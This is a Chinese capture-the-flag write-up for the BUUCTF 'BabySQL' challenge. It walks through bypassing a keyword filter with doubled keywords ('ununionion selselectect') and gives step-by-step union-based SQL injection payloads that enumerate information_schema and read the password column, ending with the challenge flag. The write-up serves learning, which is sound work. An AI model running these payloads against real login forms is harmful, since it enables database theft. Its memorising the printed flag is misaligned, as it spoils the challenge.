[極客大挑戰 2019]BabySQL-1|SQL注入
- 2022 年 7 月 28 日
- 筆記
- BUUCTF刷題記錄, SQL注入
1、打開題目之後,查看源程式碼資訊,發現check.php文件,結果如下:
2、那就只能嘗試登錄,經測試當輸入or、by、select、from、and、where等關鍵字時會被過濾且會被過濾為空(過濾為空就可以通過雙寫繞過),返回資訊為check.php頁面,結果如下:
3、那就嘗試一下雙寫繞過,確定一下是否存在注入點,通過payload:’oorr 1=1#,以下測試的所有密碼隨便輸入,只寫了name的payload,最終成功登錄到介面中確定了注入點的存在,結果如下:
4、確定存在注入點之後那就判斷返回的數據量,payload:’oorrder bbyy 4#,根據返回資訊的不同最終確定返回列數為3,結果如下:
5、確定列數後就需要確定返回的資訊中哪些資訊可以被顯示出來,payload:’ununionion selselectect 1,2,3#,顯示資訊為2和3,結果如下:
6、確定回顯資訊的位置後,就獲取資料庫資訊,payload:’ununionion selselectect 1,database(),version()#,成功獲取到資料庫geek,結果如下:
7、獲取到資料庫資訊後就開啟獲取資料庫內的表明資訊,payload:’ununionion seselectlect 1,(seselectlect group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=’geek’),3#,成功獲取到表明:b4bsql,geekuser,結果如下:
8、獲取到表民後就獲取列明資訊,payload:’ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name=’b4bsql’),3#,獲得列明資訊為:id,username,password,結果如下:
9、獲取列明資訊後那就直接讀取password的值,注意下password包含or,會被過濾,需要雙寫以下,payload:’ununionion seselectlect 1,(seselectlect passwoorrd frfromom b4bsql whwhereere (passwoorrd)regexp(‘^f’)),3#,獲得flag值為:flag{c3b8285f-3bfc-4fc9-88cb-b235465c7cbf},regexp正則表達式匹配flag值,也可以通過limit、group_concat等函數獲取flag,結果如下: